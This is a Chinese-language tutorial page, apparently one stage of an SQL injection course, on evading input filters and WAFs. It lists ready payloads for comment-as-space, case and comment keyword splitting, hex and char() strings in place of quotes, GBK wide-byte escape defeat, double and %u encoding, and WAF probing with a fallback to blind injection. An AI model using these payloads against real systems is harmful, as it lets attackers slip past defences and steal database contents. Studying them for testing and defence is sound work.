🛡 SQLi 注入大全
已掌握 0/46
首页 › 阶段 4 · 绕过与规避

绕过 · 被拦就换写法

空格 / 关键字 / 引号 / 宽字节 / 编码 / WAF,六类最常见过滤怎么绕

当前位置…
绕

绕过 · 被拦就换写法

WAF 与过滤挡的是“写法”,不挡“意义”。

绕过 › 空格

空格过滤绕过 基础

空格不可用,用注释符顶替

WAF 常按空格分词。把空格换成注释符 / 内联注释 / 运算符,语义不变。

空格 → 三种替代
?id=350/**/AND/**/1=1-- -        # 内联注释当空格
?id=350%0aAND%0b1=1-- -            # 换行/制表等空白
?id=350+AND+1=1-- -              # + 在 URL 里是空格
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
/**/内联注释,可当空格MySQL 里替换任意空格,几乎通用
%0a/%0b换行/垂直制表符注入到多行 SQL 时可充当分隔符
+URL 编码的空格在 query string 里安全
绕过 &rquo;

关键字过滤绕过 基础

不让写 SELECT/AND,就拆开叠着写

关键字被过滤时:大小写 → 内联注释拆词 → 近义词替换逐步降级。

关键字三重绕过
?id=350 uNiOn/**/SeLeCt 1,2,3-- -   # 大小写+内联注释拆词
?id=350 Se%4cect 1,2,3-- -           # URL 编码(部分后端解码后拼)
?id=350 UNION ALL SELECT 1,2,3-- -   # 或换表态近义词
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
uNiOn / SeLeCt大小写随意只对大小写敏感的后端有用,先试这个
uNiOn/**/SeLeCt注释拆开关键字等值 != 等义字符串,绕过纯字符串匹配 WAF
%4c 编码对关键字逐字符编码配合url-decode 一次的后端最好使
UNION ALL保留字替换把 UNION 换成 UNION ALL 有时能过
绕过 › 引号

引号过滤绕过 进阶

不给单引号,用十六进制字符串

单引号被过滤(常见于把 ' 转义/加斜杠)。对付:字符串写作十六进制,或用 char() 现拼。

无引号取串
AND ascii(substr(database(),1,1))=char(115)-- -   # 's' = char(115)
union select 1,0x7573657273,3   # hex('users')=0x7573657273
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
mid()/substr()截取字符串的某一段报错/盲注入里分段搬长数据(每次 n,1)
database()当前所在的库名拿库名 → 进 information_schema 爆表 → 爆列 → 爆值
char(115)用数字生成字符绕过引号,也防转义
0x7573657273字符串的十六进制'users' ↔ 0x7573657273,可直接放进 SELECT
绕过 ’ 宽字节

宽字节注入 GBK 特供

GBK 编码下用 %df' 吞掉转义斜杠

GBK 里 0xdf 0x5c(\ 即 0x5c)会被当成一个汉字,于是转义斜杠被“吃掉”,引号解放。

宽字节核心
id=1%df' UNION SELECT 1,2,3-- -   # %df + 转义\ = 一个汉字,引号活过来了
# 若后端把 \ 加在引号前:%df' → 0xdf0x5c 被 GBK 读成一个字符,转义失效
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
%df0xdf 领头的半角字符GBK 里与反斜杠 0x5c 组成一个汉字,使转义失效
%df'半角 + 单引号转义键失效后,单引号成为闭合符
绕过 › 编码

编码混淆 进阶

换一种编码“壳”绕过字符串匹配

把关键字/字符串改写成 URL / hex / unicode / 双重编码,让 WAF 的正则对不上。

编码混淆三招
?id=1%2527 AND 1=1-- -        # 双重 URL 编码 %27
username=UNION          # unicode 转义
?id=1%u0027 AND 1=1-- -      # 老 IIS 的 %u 编码
📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
%2527双重 URL 编码先解一次成 %27,再解一次成单引号,可骗只解一次的后端
\u0055unicode 转义 U个别后端对 unicode 转义解码后再拼 SQL
%u0027%u 宽编码(老 IIS)兼容老环境,新栈少见
绕过 › WAF

WAF 判断与规避 策略

先知道它拦什么,再决定怎么绕

面对 WAF:探测拆分判断拦截项 → 换一条语义相同的路子 → 绕不过就降级盲注。

分点探测拦截项
id=1'                     # 看是否整体拦截逻辑
id=1 AND 1=1                 # 拆测关键字 AND
id=1 UNION SELECT 1,2         # 拆测 UNION
扛不住就换信道
降级三连

UNION 被拦 → 报错 → 布尔 → 时间;只要没断网,永远有一条路。

📝 逐段拆解 · 拿到后往哪深挖
术语 / 片段含义深挖 / 下一步 →
分点探测一次只测一个关键字像二进制扫描一样定位 WAF 拦谁
移除大小写/注释把弦完全摊平确认是不是“纯字符串匹配”型 WAF
更换信道回显→报错→布尔→时间WAF 拦语句面广,通常拦不住盲注的 IF/ASCII